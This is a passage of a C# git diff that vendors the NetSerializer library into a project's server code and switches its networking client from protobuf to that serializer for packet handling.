stream, out string value) + { + uint totalBytes; + ReadPrimitive(stream, out totalBytes); + + if (totalBytes == 0) + { + value = null; + return; + } + else if (totalBytes == 1) + { + value = string.Empty; + return; + } + + totalBytes -= 1; + + uint totalChars; + ReadPrimitive(stream, out totalChars); + + var helper = s_stringHelper; + if (helper == null) + s_stringHelper = helper = new StringHelper(); + + var decoder = helper.Decoder; + var buf = helper.ByteBuffer; + char[] chars; + if (totalChars <= StringHelper.CHARBUFFERLEN) + chars = helper.CharBuffer; + else + chars = new char[totalChars]; + + int streamBytesLeft = (int)totalBytes; + + int cp = 0; + + while (streamBytesLeft > 0) + { + int bytesInBuffer = stream.Read(buf, 0, Math.Min(buf.Length, streamBytesLeft)); + if (bytesInBuffer == 0) + throw new EndOfStreamException(); + + streamBytesLeft -= bytesInBuffer; + bool flush = streamBytesLeft == 0 ? true : false; + + bool completed = false; + + int p = 0; + + while (completed == false) + { + int charsConverted; + int bytesConverted; + + decoder.Convert(buf, p, bytesInBuffer - p, + chars, cp, (int)totalChars - cp, + flush, + out bytesConverted, out charsConverted, out completed); + + p += bytesConverted; + cp += charsConverted; + } + } + + value = new string(chars, 0, (int)totalChars); + } +#endif + + public static void WritePrimitive(Stream stream, byte[] value) + { + if (value == null) + { + WritePrimitive(stream, (uint)0); + return; + } + + WritePrimitive(stream, (uint)value.Length + 1); + + stream.Write(value, 0, value.Length); + } + + static readonly byte[] s_emptyByteArray = new byte[0]; + + public static void ReadPrimitive(Stream stream, out byte[] value) + { + uint len; + ReadPrimitive(stream, out len); + + if (len == 0) + { + value = null; + return; + } + else if (len == 1) + { + value = s_emptyByteArray; + return; + } + + len -= 1; + + value = new byte[len]; + int l = 0; + + while (l < len) + { + int r = stream.Read(value, l, (int)len - l); + if (r == 0) + throw new EndOfStreamException(); + l += r; + } + } + } +} diff --git a/Server/Core/NetSerializer/Serializer.cs b/Server/Core/NetSerializer/Serializer.cs new file mode 100644 index 00000000..c5692e14 --- /dev/null +++ b/Server/Core/NetSerializer/Serializer.cs @@ -0,0 +1,254 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Reflection.Emit; +using xServer.Core.NetSerializer.TypeSerializers; + +namespace xServer.Core.NetSerializer +{ + public class Serializer + { + Dictionary m_typeIDMap; + + delegate void SerializerSwitch(Serializer serializer, Stream stream, object ob); + delegate void DeserializerSwitch(Serializer serializer, Stream stream, out object ob); + + SerializerSwitch m_serializerSwitch; + DeserializerSwitch m_deserializerSwitch; + + static ITypeSerializer[] s_typeSerializers = new ITypeSerializer[] { + new ObjectSerializer(), + new PrimitivesSerializer(), + new ArraySerializer(), + new EnumSerializer(), + new DictionarySerializer(), + new GenericSerializer(), + }; + + ITypeSerializer[] m_userTypeSerializers; + + /// + /// Initialize NetSerializer + /// + /// Types to be (de)serialized + public Serializer(IEnumerable rootTypes) + : this(rootTypes, new ITypeSerializer[0]) + { + } + + /// + /// Initialize NetSerializer + /// + /// Types to be (de)serialized + /// Array of custom serializers + public Serializer(IEnumerable rootTypes, ITypeSerializer[] userTypeSerializers) + { + if (userTypeSerializers.All(s => s is IDynamicTypeSerializer || s is IStaticTypeSerializer) == false) + throw new ArgumentException("TypeSerializers have to implement IDynamicTypeSerializer or IStaticTypeSerializer"); + + m_userTypeSerializers = userTypeSerializers; + + var typeDataMap = GenerateTypeData(rootTypes); + + GenerateDynamic(typeDataMap); + + m_typeIDMap = typeDataMap.ToDictionary(kvp => kvp.Key, kvp => kvp.Value.TypeID); + +#if GENERATE_DEBUGGING_ASSEMBLY + // Note: GenerateDebugAssembly overwrites some fields from typeDataMap + GenerateDebugAssembly(typeDataMap); +#endif + } + + public void Serialize(Stream stream, object data) + { + m_serializerSwitch(this, stream, data); + } + + public object Deserialize(Stream stream) + { + object o; + m_deserializerSwitch(this, stream, out o); + return o; + } + + Dictionary GenerateTypeData(IEnumerable rootTypes) + { + var map = new Dictionary(); + var stack = new Stack(PrimitivesSerializer.GetSupportedTypes().Concat(rootTypes)); + + stack.Push(typeof(object)); + + // TypeID 0 is reserved for null + ushort typeID = 1; + + while (stack.Count > 0) + { + var type = stack.Pop(); + + if (map.ContainsKey(type)) + continue; + + if (type.IsAbstract || type.IsInterface) + continue; + + if (type.ContainsGenericParameters) + throw new NotSupportedException(String.Format("Type {0} contains generic parameters", type.FullName)); + + var serializer = m_userTypeSerializers.FirstOrDefault(h => h.Handles(type)); + + if (serializer == null) + serializer = s_typeSerializers.FirstOrDefault(h => h.Handles(type)); + + if (serializer == null) + throw new NotSupportedException(String.Format("No serializer for {0}", type.FullName)); + + foreach (var t in serializer.GetSubtypes(type)) + stack.Push(t); + + TypeData typeData; + + if (serializer is IStaticTypeSerializer) + { + var sts = (IStaticTypeSerializer)serializer; + + MethodInfo writer; + MethodInfo reader; + + sts.GetStaticMethods(type, out writer, out reader); + + Debug.Assert(writer != null && reader != null); + + typeData = new TypeData(typeID++, writer, reader); + + } + else if (serializer is IDynamicTypeSerializer) + { + var dts = (IDynamicTypeSerializer)serializer; + + typeData = new TypeData(typeID++, dts); + } + else + { + throw new Exception(); + } + + map[type] = typeData; + } + + return map; + } + + void GenerateDynamic(Dictionary map) + { + /* generate stubs */ + foreach (var kvp in map) + { + var type = kvp.Key; + var td = kvp.Value; + + if (!td.IsGenerated) + continue; + + td.WriterMethodInfo = Helpers.GenerateDynamicSerializerStub(type); + td.ReaderMethodInfo = Helpers.GenerateDynamicDeserializerStub(type); + } + + var ctx = new CodeGenContext(map); + + /* generate bodies */ + + foreach (var kvp in map) + { + var type = kvp.Key; + var td = kvp.Value; + + if (!td.IsGenerated) + continue; + + var writerDm = (DynamicMethod)td.WriterMethodInfo; + td.TypeSerializer.GenerateWriterMethod(type, ctx, writerDm.GetILGenerator()); + + var readerDm = (DynamicMethod)td.ReaderMethodInfo; + td.TypeSerializer.GenerateReaderMethod(type, ctx, readerDm.GetILGenerator()); + } + + var writer = (DynamicMethod)ctx.GetWriterMethodInfo(typeof(object)); + var reader = (DynamicMethod)ctx.GetReaderMethodInfo(typeof(object)); + + m_serializerSwitch = (SerializerSwitch)writer.CreateDelegate(typeof(SerializerSwitch)); + m_deserializerSwitch = (DeserializerSwitch)reader.CreateDelegate(typeof(DeserializerSwitch)); + } + +#if GENERATE_DEBUGGING_ASSEMBLY + static void GenerateDebugAssembly(Dictionary map) + { + var ab = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("NetSerializerDebug"), AssemblyBuilderAccess.RunAndSave); + var modb = ab.DefineDynamicModule("NetSerializerDebug.dll"); + var tb = modb.DefineType("NetSerializer", TypeAttributes.Public); + + /* generate stubs */ + foreach (var kvp in map) + { + var type = kvp.Key; + var td = kvp.Value; + + if (!td.IsGenerated) + continue; + + td.WriterMethodInfo = Helpers.GenerateStaticSerializerStub(tb, type); + td.ReaderMethodInfo = Helpers.GenerateStaticDeserializerStub(tb, type); + } + + var ctx = new CodeGenContext(map); + + /* generate bodies */ + + foreach (var kvp in map) + { + var type = kvp.Key; + var td = kvp.Value; + + if (!td.IsGenerated) + continue; + + var writerMb = (MethodBuilder)td.WriterMethodInfo; + td.TypeSerializer.GenerateWriterMethod(type, ctx, writerMb.GetILGenerator()); + + var readerMb = (MethodBuilder)td.ReaderMethodInfo; + td.TypeSerializer.GenerateReaderMethod(type, ctx, readerMb.GetILGenerator()); + } + + tb.CreateType(); + ab.Save("NetSerializerDebug.dll"); + } +#endif + + /* called from the dynamically generated code */ + ushort GetTypeID(object ob) + { + ushort id; + + if (ob == null) + return 0; + + var type = ob.GetType(); + + if (m_typeIDMap.TryGetValue(type, out id) == false) + throw new InvalidOperationException(String.Format("Unknown type {0}", type.FullName)); + + return id; + } + } +} diff --git a/Server/Core/NetSerializer/TypeSerializers/ArraySerializer.cs b/Server/Core/NetSerializer/TypeSerializers/ArraySerializer.cs new file mode 100644 index 00000000..39d8fef1 --- /dev/null +++ b/Server/Core/NetSerializer/TypeSerializers/ArraySerializer.cs @@ -0,0 +1,193 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Reflection.Emit; + +namespace xServer.Core.NetSerializer.TypeSerializers +{ + class ArraySerializer : IDynamicTypeSerializer + { + public bool Handles(Type type) + { + if (!type.IsArray) + return false; + + if (type.GetArrayRank() != 1) + throw new NotSupportedException(String.Format("Multi-dim arrays not supported: {0}", type.FullName)); + + return true; + } + + public IEnumerable GetSubtypes(Type type) + { + yield return type.GetElementType(); + } + + public void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il) + { + var elemType = type.GetElementType(); + + var notNullLabel = il.DefineLabel(); + + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Brtrue_S, notNullLabel); + + // if value == null, write 0 + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldc_I4_0); + il.Emit(OpCodes.Tailcall); + il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(uint))); + il.Emit(OpCodes.Ret); + + il.MarkLabel(notNullLabel); + + // write array len + 1 + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldlen); + il.Emit(OpCodes.Ldc_I4_1); + il.Emit(OpCodes.Add); + il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(uint))); + + // declare i + var idxLocal = il.DeclareLocal(typeof(int)); + + // i = 0 + il.Emit(OpCodes.Ldc_I4_0); + il.Emit(OpCodes.Stloc_S, idxLocal); + + var loopBodyLabel = il.DefineLabel(); + var loopCheckLabel = il.DefineLabel(); + + il.Emit(OpCodes.Br_S, loopCheckLabel); + + // loop body + il.MarkLabel(loopBodyLabel); + + var data = ctx.GetTypeDataForCall(elemType); + + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + // write element at index i + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldelem, elemType); + + il.Emit(OpCodes.Call, data.WriterMethodInfo); + + // i = i + 1 + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldc_I4_1); + il.Emit(OpCodes.Add); + il.Emit(OpCodes.Stloc_S, idxLocal); + + il.MarkLabel(loopCheckLabel); + + // loop condition + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldlen); + il.Emit(OpCodes.Conv_I4); + il.Emit(OpCodes.Clt); + il.Emit(OpCodes.Brtrue_S, loopBodyLabel); + + il.Emit(OpCodes.Ret); + } + + public void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il) + { + var elemType = type.GetElementType(); + + var lenLocal = il.DeclareLocal(typeof(uint)); + + // read array len + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldloca_S, lenLocal); + il.Emit(OpCodes.Call, ctx.GetReaderMethodInfo(typeof(uint))); + + var notNullLabel = il.DefineLabel(); + + /* if len == 0, return null */ + il.Emit(OpCodes.Ldloc_S, lenLocal); + il.Emit(OpCodes.Brtrue_S, notNullLabel); + + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldnull); + il.Emit(OpCodes.Stind_Ref); + il.Emit(OpCodes.Ret); + + il.MarkLabel(notNullLabel); + + var arrLocal = il.DeclareLocal(type); + + // create new array with len - 1 + il.Emit(OpCodes.Ldloc_S, lenLocal); + il.Emit(OpCodes.Ldc_I4_1); + il.Emit(OpCodes.Sub); + il.Emit(OpCodes.Newarr, elemType); + il.Emit(OpCodes.Stloc_S, arrLocal); + + // declare i + var idxLocal = il.DeclareLocal(typeof(int)); + + // i = 0 + il.Emit(OpCodes.Ldc_I4_0); + il.Emit(OpCodes.Stloc_S, idxLocal); + + var loopBodyLabel = il.DefineLabel(); + var loopCheckLabel = il.DefineLabel(); + + il.Emit(OpCodes.Br_S, loopCheckLabel); + + // loop body + il.MarkLabel(loopBodyLabel); + + // read element to arr[i] + + var data = ctx.GetTypeDataForCall(elemType); + + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldloc_S, arrLocal); + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldelema, elemType); + + il.Emit(OpCodes.Call, data.ReaderMethodInfo); + + // i = i + 1 + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldc_I4_1); + il.Emit(OpCodes.Add); + il.Emit(OpCodes.Stloc_S, idxLocal); + + il.MarkLabel(loopCheckLabel); + + // loop condition + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldloc_S, arrLocal); + il.Emit(OpCodes.Ldlen); + il.Emit(OpCodes.Conv_I4); + il.Emit(OpCodes.Clt); + il.Emit(OpCodes.Brtrue_S, loopBodyLabel); + + + // store new array to the out value + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldloc_S, arrLocal); + il.Emit(OpCodes.Stind_Ref); + + il.Emit(OpCodes.Ret); + } + } +} diff --git a/Server/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs b/Server/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs new file mode 100644 index 00000000..63b97442 --- /dev/null +++ b/Server/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs @@ -0,0 +1,147 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Reflection; + +namespace xServer.Core.NetSerializer.TypeSerializers +{ + public class DictionarySerializer : IStaticTypeSerializer + { + public bool Handles(Type type) + { + if (!type.IsGenericType) + return false; + + var genTypeDef = type.GetGenericTypeDefinition(); + + return genTypeDef == typeof(Dictionary<,>); + } + + public IEnumerable GetSubtypes(Type type) + { + // Dictionary is stored as KeyValuePair[] + + var genArgs = type.GetGenericArguments(); + + var serializedType = typeof(KeyValuePair<,>).MakeGenericType(genArgs).MakeArrayType(); + + yield return serializedType; + } + + public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) + { + Debug.Assert(type.IsGenericType); + + if (!type.IsGenericType) + throw new Exception(); + + var genTypeDef = type.GetGenericTypeDefinition(); + + Debug.Assert(genTypeDef == typeof(Dictionary<,>)); + + var containerType = this.GetType(); + + writer = GetGenWriter(containerType, genTypeDef); + reader = GetGenReader(containerType, genTypeDef); + + var genArgs = type.GetGenericArguments(); + + writer = writer.MakeGenericMethod(genArgs); + reader = reader.MakeGenericMethod(genArgs); + } + + static MethodInfo GetGenWriter(Type containerType, Type genType) + { + var mis = containerType.GetMethods(BindingFlags.Static | BindingFlags.Public) + .Where(mi => mi.IsGenericMethod && mi.Name == "WritePrimitive"); + + foreach (var mi in mis) + { + var p = mi.GetParameters(); + + if (p.Length != 3) + continue; + + if (p[1].ParameterType != typeof(Stream)) + continue; + + var paramType = p[2].ParameterType; + + if (paramType.IsGenericType == false) + continue; + + var genParamType = paramType.GetGenericTypeDefinition(); + + if (genType == genParamType) + return mi; + } + + return null; + } + + static MethodInfo GetGenReader(Type containerType, Type genType) + { + var mis = containerType.GetMethods(BindingFlags.Static | BindingFlags.Public) + .Where(mi => mi.IsGenericMethod && mi.Name == "ReadPrimitive"); + + foreach (var mi in mis) + { + var p = mi.GetParameters(); + + if (p.Length != 3) + continue; + + if (p[1].ParameterType != typeof(Stream)) + continue; + + var paramType = p[2].ParameterType; + + if (paramType.IsByRef == false) + continue; + + paramType = paramType.GetElementType(); + + if (paramType.IsGenericType == false) + continue; + + var genParamType = paramType.GetGenericTypeDefinition(); + + if (genType == genParamType) + return mi; + } + + return null; + } + + public static void WritePrimitive(Serializer serializer, Stream stream, Dictionary value) + { + var kvpArray = new KeyValuePair[value.Count]; + + int i = 0; + foreach (var kvp in value) + kvpArray[i++] = kvp; + + serializer.Serialize(stream, kvpArray); + } + + public static void ReadPrimitive(Serializer serializer, Stream stream, out Dictionary value) + { + var kvpArray = (KeyValuePair[])serializer.Deserialize(stream); + + value = new Dictionary(kvpArray.Length); + + foreach (var kvp in kvpArray) + value.Add(kvp.Key, kvp.Value); + } + } +} diff --git a/Server/Core/NetSerializer/TypeSerializers/EnumSerializer.cs b/Server/Core/NetSerializer/TypeSerializers/EnumSerializer.cs new file mode 100644 index 00000000..f18456a0 --- /dev/null +++ b/Server/Core/NetSerializer/TypeSerializers/EnumSerializer.cs @@ -0,0 +1,40 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Reflection; + +namespace xServer.Core.NetSerializer.TypeSerializers +{ + public class EnumSerializer : IStaticTypeSerializer + { + public bool Handles(Type type) + { + return type.IsEnum; + } + + public IEnumerable GetSubtypes(Type type) + { + var underlyingType = Enum.GetUnderlyingType(type); + + yield return underlyingType; + } + + public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) + { + Debug.Assert(type.IsEnum); + + var underlyingType = Enum.GetUnderlyingType(type); + + writer = Primitives.GetWritePrimitive(underlyingType); + reader = Primitives.GetReaderPrimitive(underlyingType); + } + } +} diff --git a/Server/Core/NetSerializer/TypeSerializers/GenericSerializer.cs b/Server/Core/NetSerializer/TypeSerializers/GenericSerializer.cs new file mode 100644 index 00000000..d405ae71 --- /dev/null +++ b/Server/Core/NetSerializer/TypeSerializers/GenericSerializer.cs @@ -0,0 +1,121 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Reflection.Emit; + +namespace xServer.Core.NetSerializer.TypeSerializers +{ + public class GenericSerializer : IDynamicTypeSerializer + { + public bool Handles(Type type) + { + if (!type.IsSerializable) + throw new NotSupportedException(String.Format("Type {0} is not marked as Serializable", type.FullName)); + + if (typeof(System.Runtime.Serialization.ISerializable).IsAssignableFrom(type)) + throw new NotSupportedException(String.Format("Cannot serialize {0}: ISerializable not supported", type.FullName)); + + return true; + } + + public IEnumerable GetSubtypes(Type type) + { + var fields = Helpers.GetFieldInfos(type); + + foreach (var field in fields) + yield return field.FieldType; + } + + public void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il) + { + // arg0: Serializer, arg1: Stream, arg2: value + + var fields = Helpers.GetFieldInfos(type); + + foreach (var field in fields) + { + // Note: the user defined value type is not passed as reference. could cause perf problems with big structs + + var fieldType = field.FieldType; + + var data = ctx.GetTypeDataForCall(fieldType); + + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + il.Emit(OpCodes.Ldarg_1); + if (type.IsValueType) + il.Emit(OpCodes.Ldarga_S, 2); + else + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldfld, field); + + il.Emit(OpCodes.Call, data.WriterMethodInfo); + } + + il.Emit(OpCodes.Ret); + } + + public void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il) + { + // arg0: Serializer, arg1: stream, arg2: out value + + if (type.IsClass) + { + // instantiate empty class + il.Emit(OpCodes.Ldarg_2); + + var gtfh = typeof(Type).GetMethod("GetTypeFromHandle", BindingFlags.Public | BindingFlags.Static); + var guo = typeof(System.Runtime.Serialization.FormatterServices).GetMethod("GetUninitializedObject", BindingFlags.Public | BindingFlags.Static); + il.Emit(OpCodes.Ldtoken, type); + il.Emit(OpCodes.Call, gtfh); + il.Emit(OpCodes.Call, guo); + il.Emit(OpCodes.Castclass, type); + + il.Emit(OpCodes.Stind_Ref); + } + + var fields = Helpers.GetFieldInfos(type); + + foreach (var field in fields) + { + var fieldType = field.FieldType; + + var data = ctx.GetTypeDataForCall(fieldType); + + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldarg_2); + if (type.IsClass) + il.Emit(OpCodes.Ldind_Ref); + il.Emit(OpCodes.Ldflda, field); + + il.Emit(OpCodes.Call, data.ReaderMethodInfo); + } + + if (typeof(System.Runtime.Serialization.IDeserializationCallback).IsAssignableFrom(type)) + { + var miOnDeserialization = typeof(System.Runtime.Serialization.IDeserializationCallback).GetMethod("OnDeserialization", + BindingFlags.Instance | BindingFlags.Public, + null, new[] { typeof(Object) }, null); + + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldnull); + il.Emit(OpCodes.Constrained, type); + il.Emit(OpCodes.Callvirt, miOnDeserialization); + } + + il.Emit(OpCodes.Ret); + } + } +} diff --git a/Server/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs b/Server/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs new file mode 100644 index 00000000..587cdfc1 --- /dev/null +++ b/Server/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs @@ -0,0 +1,157 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Reflection.Emit; + +namespace xServer.Core.NetSerializer.TypeSerializers +{ + class ObjectSerializer : IDynamicTypeSerializer + { + public bool Handles(Type type) + { + return type == typeof(object); + } + + public IEnumerable GetSubtypes(Type type) + { + return new Type[0]; + } + + public void GenerateWriterMethod(Type obtype, CodeGenContext ctx, ILGenerator il) + { + var getTypeIDMethodInfo = typeof(Serializer).GetMethod("GetTypeID", BindingFlags.NonPublic | BindingFlags.Instance, null, + new Type[] { typeof(object) }, null); + + var map = ctx.TypeMap; + + // arg0: Serializer, arg1: Stream, arg2: object + + var idLocal = il.DeclareLocal(typeof(ushort)); + + // get TypeID from object's Type + il.Emit(OpCodes.Ldarg_0); + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Call, getTypeIDMethodInfo); + il.Emit(OpCodes.Stloc_S, idLocal); + + // write typeID + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldloc_S, idLocal); + il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(ushort))); + + // +1 for 0 (null) + var jumpTable = new Label[map.Count + 1]; + jumpTable[0] = il.DefineLabel(); + foreach (var kvp in map) + jumpTable[kvp.Value.TypeID] = il.DefineLabel(); + + il.Emit(OpCodes.Ldloc_S, idLocal); + il.Emit(OpCodes.Switch, jumpTable); + + il.Emit(OpCodes.Newobj, Helpers.ExceptionCtorInfo); + il.Emit(OpCodes.Throw); + + /* null case */ + il.MarkLabel(jumpTable[0]); + il.Emit(OpCodes.Ret); + + /* cases for types */ + foreach (var kvp in map) + { + var type = kvp.Key; + var data = kvp.Value; + + il.MarkLabel(jumpTable[data.TypeID]); + + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldarg_2); + il.Emit(type.IsValueType ? OpCodes.Unbox_Any : OpCodes.Castclass, type); + + il.Emit(OpCodes.Tailcall); + il.Emit(OpCodes.Call, data.WriterMethodInfo); + + il.Emit(OpCodes.Ret); + } + } + + public void GenerateReaderMethod(Type obtype, CodeGenContext ctx, ILGenerator il) + { + var map = ctx.TypeMap; + + // arg0: Serializer, arg1: stream, arg2: out object + + var idLocal = il.DeclareLocal(typeof(ushort)); + + // read typeID + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldloca_S, idLocal); + il.Emit(OpCodes.Call, ctx.GetReaderMethodInfo(typeof(ushort))); + + // +1 for 0 (null) + var jumpTable = new Label[map.Count + 1]; + jumpTable[0] = il.DefineLabel(); + foreach (var kvp in map) + jumpTable[kvp.Value.TypeID] = il.DefineLabel(); + + il.Emit(OpCodes.Ldloc_S, idLocal); + il.Emit(OpCodes.Switch, jumpTable); + + il.Emit(OpCodes.Newobj, Helpers.ExceptionCtorInfo); + il.Emit(OpCodes.Throw); + + /* null case */ + il.MarkLabel(jumpTable[0]); + + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldnull); + il.Emit(OpCodes.Stind_Ref); + il.Emit(OpCodes.Ret); + + /* cases for types */ + foreach (var kvp in map) + { + var type = kvp.Key; + var data = kvp.Value; + + il.MarkLabel(jumpTable[data.TypeID]); + + var local = il.DeclareLocal(type); + + // call deserializer for this typeID + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + il.Emit(OpCodes.Ldarg_1); + if (local.LocalIndex < 256) + il.Emit(OpCodes.Ldloca_S, local); + else + il.Emit(OpCodes.Ldloca, local); + + il.Emit(OpCodes.Call, data.ReaderMethodInfo); + + // write result object to out object + il.Emit(OpCodes.Ldarg_2); + if (local.LocalIndex < 256) + il.Emit(OpCodes.Ldloc_S, local); + else + il.Emit(OpCodes.Ldloc, local); + if (type.IsValueType) + il.Emit(OpCodes.Box, type); + il.Emit(OpCodes.Stind_Ref); + + il.Emit(OpCodes.Ret); + } + } + } +} diff --git a/Server/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs b/Server/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs new file mode 100644 index 00000000..dc819ca4 --- /dev/null +++ b/Server/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs @@ -0,0 +1,52 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; + +namespace xServer.Core.NetSerializer.TypeSerializers +{ + public class PrimitivesSerializer : IStaticTypeSerializer + { + static Type[] s_primitives = new Type[] { + typeof(bool), + typeof(byte), typeof(sbyte), + typeof(char), + typeof(ushort), typeof(short), + typeof(uint), typeof(int), + typeof(ulong), typeof(long), + typeof(float), typeof(double), + typeof(string), + typeof(DateTime), + typeof(byte[]), + }; + + public bool Handles(Type type) + { + return s_primitives.Contains(type); + } + + public IEnumerable GetSubtypes(Type type) + { + yield break; + } + + public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) + { + writer = Primitives.GetWritePrimitive(type); + reader = Primitives.GetReaderPrimitive(type); + } + + public static IEnumerable GetSupportedTypes() + { + return s_primitives; + } + } +} diff --git a/Server/Core/Networking/Client.cs b/Server/Core/Networking/Client.cs index 6fde7d92..4a723589 100644 --- a/Server/Core/Networking/Client.cs +++ b/Server/Core/Networking/Client.cs @@ -1,15 +1,13 @@ using System; using System.Collections.Generic; using System.IO; -using System.Linq; using System.Net; using System.Net.Sockets; using System.Threading; -using ProtoBuf; -using ProtoBuf.Meta; using xServer.Core.Compression; using xServer.Core.Encryption; using xServer.Core.Extensions; +using xServer.Core.NetSerializer; using xServer.Core.Packets; namespace xServer.Core.Networking @@ -216,6 +214,11 @@ public enum ReceiveType /// private bool _appendHeader; + /// + /// The packet serializer. + /// + private Serializer _serializer; + private const bool encryptionEnabled = true; private const bool compressionEnabled = true; @@ -228,7 +231,8 @@ internal Client(Server server, Socket sock, Type[] packets) try { _parentServer = server; - AddTypesToSerializer(typeof(IPacket), packets); + AddTypesToSerializer(packets); + if (_serializer == null) throw new Exception("Serializer not initialized"); Initialize(); _handle = sock; @@ -251,7 +255,6 @@ internal Client(Server server, Socket sock, Type[] packets) private void Initialize() { - AddTypeToSerializer(typeof(IPacket), typeof(UnknownPacket)); Value = new UserState(); } @@ -449,9 +452,7 @@ private void AsyncReceive(object state) using (MemoryStream deserialized = new MemoryStream(_payloadBuffer)) { - IPacket packet = - Serializer.DeserializeWithLengthPrefix(deserialized, - PrefixStyle.Fixed32); + IPacket packet = (IPacket)_serializer.Deserialize(deserialized); OnClientRead(packet); } @@ -494,7 +495,7 @@ private void AsyncReceive(object state) { using (MemoryStream ms = new MemoryStream()) { - Serializer.SerializeWithLengthPrefix(ms, packet, PrefixStyle.Fixed32); + _serializer.Serialize(ms, packet); byte[] payload = ms.ToArray(); @@ -624,31 +625,13 @@ public void Disconnect() } } - /// - /// Adds a Type to the serializer so a message can be properly serialized. - /// - /// The parent type, i.e.: IPacket - /// Type to be added - public void AddTypeToSerializer(Type parent, Type type) - { - if (type == null || parent == null) - throw new ArgumentNullException(); - - bool isAlreadyAdded = RuntimeTypeModel.Default[parent].GetSubtypes().Any(subType => subType.DerivedType.Type == type); - - if (!isAlreadyAdded) - RuntimeTypeModel.Default[parent].AddSubType(_typeIndex += 1, type); - } - /// /// Adds Types to the serializer. /// - /// The parent type, i.e.: IPacket /// Types to add. - public void AddTypesToSerializer(Type parent, params Type[] types) + public void AddTypesToSerializer(Type[] types) { - foreach (Type type in types) - AddTypeToSerializer(parent, type); + _serializer = new Serializer(types); } } } \ No newline at end of file diff --git 